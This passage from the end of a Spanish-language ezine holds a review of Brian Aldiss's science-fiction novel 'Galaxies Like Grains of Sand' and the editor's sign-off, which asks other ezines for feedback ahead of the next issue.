puede mostrarnos nada salvo nuestro rostro solemne; es un espejo traicionero que solo refleja nuestras limitadas verdades. A tal punto forma parte del hombre que la objetividad es imposible, estan neutral que parece hostil" Asi comienza este libro del britanico Brain Aldiss, conocido por la saga de "Helliconia". En "Las galaxias como granos de arena" recorremos las historia de la humanidad a traves de una serie de historias fragmentarias y particulares q nos hablan de nuestra naturaleza, nuestros temores, retrocesos y avances a traves de millones de aos, comenzando desde un futuro cercano hasta los ultimos aos del universo.Pese a lo epico de su extension, los motivaciones de los personajes son completamente intimas. La novela se desarolla en forma de relatos, que nos muestras distintas etapas en el desarollo de nuestra especie, pasando por guerras atomicas, hambrunas, control genetico, robotizacion total y finalmente el reemplazo del ser humano y el orden conocido; con lo que Aldiss nos brinda una vision extraamente reveladora y escalofriante, pero sobre todo poetica y bella de la escencia humana y su futuro. Un libro muy recomendable para aquellos q disfrutan de la ciencia ficcion suave, no rigurosamente cientifica y mas bien fanstastica y metaforica; similar a lo publicada por autores como Bradbury. Galaxias como granos de arena Autor: Brain Aldiss Editorial: Plaza & Janes ISBN: 84-01-54100-X Observ.: Prologo por Robert Silverberg %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% <=--<<< Shutdown >>>--------------------------------------[ by NDR113 ]------=> Bueno, creo que esto es el final. Quisera despedirme y darle las gracias a quienes lean la ezine, por soportar retraso tras retraso. Tambien quiero llamar a las demas ezines del medio, a los miembros de ellas que lean nuestra publicacion que nos comenten -sea a traves de su ezine o en forma personal- que les ha parecido este numero, lo digo por que es importante recibir criticas para mejorar y saber realmente si se esta tomando el buen camino. Quiseria escuchar opiniones sean positivas o negativas sobre lo que estamos tratando de hacer en FYE, y los cambios de fondo q intentamos hacer en la ezine y mas que nada, en nostros mismos y la escena. Creo que hace falta mas intercambio entre las publicaciones, mas critica, comentario y discucion, y no solo menciones condecendientes a los demas, si algo nos parece bien digamoslo, si algo nos parece errado hagamos escuchar nuestra voz. Se despide hasta FYE5, NDR113 Editor %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Ahora puede apagar su equipo %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%